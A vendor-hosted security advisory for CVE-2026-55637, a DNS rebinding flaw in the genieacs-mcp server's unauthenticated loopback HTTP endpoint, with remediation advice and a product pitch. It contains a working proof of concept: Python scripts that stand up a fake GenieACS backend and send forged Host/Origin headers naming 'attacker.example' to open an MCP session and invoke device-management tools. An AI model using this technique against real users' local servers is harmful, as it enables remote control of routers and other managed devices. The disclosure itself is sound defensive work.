CVE-2026-55637

CVE-2026-55637 is a high-severity security vulnerability in github.com/geiserx/genieacs-mcp (go), affecting versions <= 0.3.1. It is fixed in 0.3.2.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

genieacs-mcp: DNS rebinding reaches local GenieACS MCP Streamable HTTP transport

genieacs-mcp exposes a local Streamable HTTP MCP endpoint that accepts attacker-controlled Host and Origin headers. A malicious web page can use DNS rebinding to route browser requests to a victim's loopback MCP listener while preserving the attacker origin. The server accepts the request, initializes an MCP session, lists GenieACS tools, and can invoke tools against the configured GenieACS NBI without a browser-supplied secret.

The affected package is genieacs-mcp version 0.3.1 at commit 4d7d3c74740efb7f3833aadc8a8e9177650eb462.

The vulnerable transport setup is in cmd/server/main.go. When TRANSPORT is not stdio, the server creates a Streamable HTTP MCP handler:

// cmd/server/main.go:92
httpSrv := server.NewStreamableHTTPServer(s)
addr := os.Getenv("MCP_LISTEN_ADDR")
if addr == "" {
    addr = "127.0.0.1:8080"
}
authToken := os.Getenv("MCP_AUTH_TOKEN")
if authToken == "" && !isLoopbackAddr(addr) {
    log.Fatal("MCP_AUTH_TOKEN is required when MCP_LISTEN_ADDR is not loopback")
}
if authToken != "" {
    mux := http.NewServeMux()
    mux.Handle("/mcp", bearerAuth(httpSrv, authToken))
    log.Printf("GenieACS MCP bridge listening on %s (auth enabled)", addr)
    if err := http.ListenAndServe(addr, mux); err != nil {
        log.Fatalf("server error: %v", err)
    }
} else {
    log.Printf("GenieACS MCP bridge listening on %s", addr)
    if err := httpSrv.Start(addr); err != nil {
        log.Fatalf("server error: %v", err)
    }
}

For the default loopback listener, MCP_AUTH_TOKEN is not required. The unauthenticated branch calls httpSrv.Start(addr) directly. There is no middleware or MCP transport configuration that validates Host or Origin before /mcp handles the request.

The README documents loopback HTTP as the default deployment mode and says MCP_AUTH_TOKEN is required only when MCP_LISTEN_ADDR is non-loopback:

TRANSPORT: empty = HTTP
MCP_LISTEN_ADDR: 127.0.0.1:8080
MCP_AUTH_TOKEN: empty, required when MCP_LISTEN_ADDR is non-loopback

That leaves the browser-origin boundary as the missing control. DNS rebinding is designed to reach loopback listeners from a public web page unless the local server rejects attacker-controlled Host and Origin values.

Proof of concept

The following reproduction uses a fake GenieACS NBI with planted CPE data. It proves that attacker-shaped browser-origin headers reach the real MCP handler and that an MCP tool call reaches the configured GenieACS backend.

Start a fake GenieACS NBI:

python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import json
import urllib.parse

DEVICE_ID = "00236A-FAKE-CPE-PWNED"

class Handler(BaseHTTPRequestHandler):
    def _json(self, value, status=200):
        data = json.dumps(value, indent=2).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

    def do_GET(self):
        print("FAKE_ACS_GET", self.path, dict(self.headers), flush=True)
        parsed = urllib.parse.urlparse(self.path)
        if parsed.path.rstrip("/") == "/devices":
            self._json([{
                "_id": DEVICE_ID,
                "_tags": ["poc-owned"],
                "Device": {
                    "DeviceInfo": {
                        "SoftwareVersion": {"_value": "PLANTED-FAKE-FIRMWARE-9.9.9"},
                        "SerialNumber": {"_value": "PLUTO-FAKE-CPE-0001"}
                    },
                    "ManagementServer": {
                        "URL": {"_value": "https://acs-control.example.invalid/cwmp"}
                    }
                }
            }])
            return
        self._json({"error": "not found"}, 404)

    def log_message(self, fmt, *args):
        return

ThreadingHTTPServer(("127.0.0.1", 18083), Handler).serve_forever()
PY

In a second terminal, run the affected MCP server:

git clone https://github.com/GeiserX/genieacs-mcp.git
cd genieacs-mcp
git checkout 4d7d3c74740efb7f3833aadc8a8e9177650eb462

GOCACHE=/tmp/genieacs_mcp_gocache \
GOPATH=/tmp/genieacs_mcp_gopath \
go build -o /tmp/genieacs-mcp ./cmd/server

ACS_URL=http://127.0.0.1:18083 \
MCP_LISTEN_ADDR=127.0.0.1:8083 \
/tmp/genieacs-mcp

In a third terminal, send MCP requests with forged browser-origin headers:

python3 - <<'PY'
import http.client
import json

PORT = 8083
PROTO = "2024-11-05"
ATTACKER_HOST = f"attacker.example:{PORT}"

def parse_rpc(text):
    text = (text or "").strip()
    if text.startswith("{") or text.startswith("["):
        return [json.loads(text)]
    out = []
    for line in text.splitlines():
        line = line.strip()
        if line.startswith("data:"):
            data = line[5:].strip()
            if data and data != "[DONE]":
                out.append(json.loads(data))
    return out

sid = None

def rpc(body):
    global sid
    headers = {
        "Host": ATTACKER_HOST,
        "Origin": "http://" + ATTACKER_HOST,
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if sid:
        headers["Mcp-Session-Id"] = sid
        headers["MCP-Protocol-Version"] = PROTO
    conn = http.client.HTTPConnection("127.0.0.1", PORT, timeout=10)
    conn.request("POST", "/mcp", json.dumps(body), headers)
    res = conn.getresponse()
    raw_headers = dict(res.getheaders())
    if raw_headers.get("Mcp-Session-Id"):
        sid = raw_headers["Mcp-Session-Id"]
    text = res.read().decode("utf-8", "replace")
    conn.close()
    return res.status, parse_rpc(text), text

init_status, init_msgs, init_raw = rpc({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "protocolVersion": PROTO,
        "capabilities": {},
        "clientInfo": {"name": "genieacs-rebind-check", "version": "1"}
    }
})

notify_status, _, _ = rpc({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})

tools_status, tools_msgs, tools_raw = rpc({
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/list",
    "params": {}
})

call_status, call_msgs, call_raw = rpc({
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
        "name": "get_parameter",
        "arguments": {
            "device_id": "00236A-FAKE-CPE-PWNED",
            "parameter_path": "Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL"
        }
    }
})

print("initialize_status", init_status)
print("session_created", bool(sid))
print("initialized_notification_status", notify_status)
print("tools_list_status", tools_status)
print(tools_raw[:1200])
print("get_parameter_status", call_status)
print(call_raw)
PY

The MCP request uses attacker-controlled browser-origin headers and no Authorization header:

POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"genieacs-rebind-check","version":"1"}}}

Observed output:

initialize_status 200
session_created True
initialized_notification_status 202
tools_list_status 200

tools/list returns 12 tools, including:

connection_request
delete_task
download_firmware
get_parameter
manage_preset
manage_provision
reboot_device
refresh_parameter
retry_task
search_devices
set_parameter
tag_device

The get_parameter tool call reaches the fake GenieACS NBI and returns the planted marker:

Cached parameter values: [
  {
    "_id": "00236A-FAKE-CPE-PWNED",
    "_tags": [
      "poc-owned"
    ],
    "Device": {
      "DeviceInfo": {
        "SoftwareVersion": {
          "_value": "PLANTED-FAKE-FIRMWARE-9.9.9"
        },
        "SerialNumber": {
          "_value": "PLUTO-FAKE-CPE-0001"
        }
      },
      "ManagementServer": {
        "URL": {
          "_value": "https://acs-control.example.invalid/cwmp"
        }
      }
    }
  }
]

The fake GenieACS NBI also records the backend request from the MCP server:

FAKE_ACS_GET /devices/?projection=Device.DeviceInfo.SoftwareVersion%2CDevice.ManagementServer.URL&query=%7B%22_id%22%3A%2200236A-FAKE-CPE-PWNED%22%7D

Why this is a vulnerability, not intended behavior

  • The project treats loopback HTTP as a safety boundary. The README documents 127.0.0.1:8080 as the default HTTP listen address and requires MCP_AUTH_TOKEN only for non-loopback listeners.
  • DNS rebinding bypasses the loopback-only assumption unless the local HTTP server validates Host and Origin.
  • PR #22 added bearer authentication for non-loopback listeners. It explicitly left loopback listeners unauthenticated for compatibility. That protects direct non-loopback exposure, but it does not protect the browser-origin path into a loopback listener.
  • A local trusted MCP client is the intended caller. A public web page is not.

Impact

A malicious website can control a victim's local genieacs-mcp HTTP server when the victim runs the documented default loopback HTTP mode. The page can initialize MCP, list available tools, and invoke GenieACS operations through the server's configured ACS_URL.

In a real deployment, this can expose or modify CPE management state through GenieACS. The exposed tools include device reboot, firmware download task creation, TR-069 parameter changes, preset and provision management, tag changes, connection requests, task deletion, and task retry. Those actions execute with the MCP server's configured GenieACS access.

Affected versions

github.com/geiserx/genieacs-mcp (<= 0.3.1)

Security releases

github.com/geiserx/genieacs-mcp → 0.3.2 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Add Host and Origin validation before the MCP handler accepts any request. For the default loopback mode, allow only local values such as:

Host: 127.0.0.1:8080
Host: localhost:8080
Origin: http://127.0.0.1:8080
Origin: http://localhost:8080

Reject unexpected Host or Origin values before MCP initialization. Treat absent or non-local Origin on browser-reachable requests as suspicious unless the request is authenticated.

Also require a bearer token for HTTP transport even on loopback, or make stdio the default transport and require an explicit opt-in for unauthenticated loopback HTTP.

Frequently Asked Questions

  1. What is CVE-2026-55637? CVE-2026-55637 is a high-severity security vulnerability in github.com/geiserx/genieacs-mcp (go), affecting versions <= 0.3.1. It is fixed in 0.3.2.
  2. Which versions of github.com/geiserx/genieacs-mcp are affected by CVE-2026-55637? github.com/geiserx/genieacs-mcp (go) versions <= 0.3.1 is affected.
  3. Is there a fix for CVE-2026-55637? Yes. CVE-2026-55637 is fixed in 0.3.2. Upgrade to this version or later.
  4. Is CVE-2026-55637 exploitable, and should I be worried? Whether CVE-2026-55637 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-55637 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-55637? Upgrade github.com/geiserx/genieacs-mcp to 0.3.2 or later.

Stop the waste.
Protect your environment with Kodem.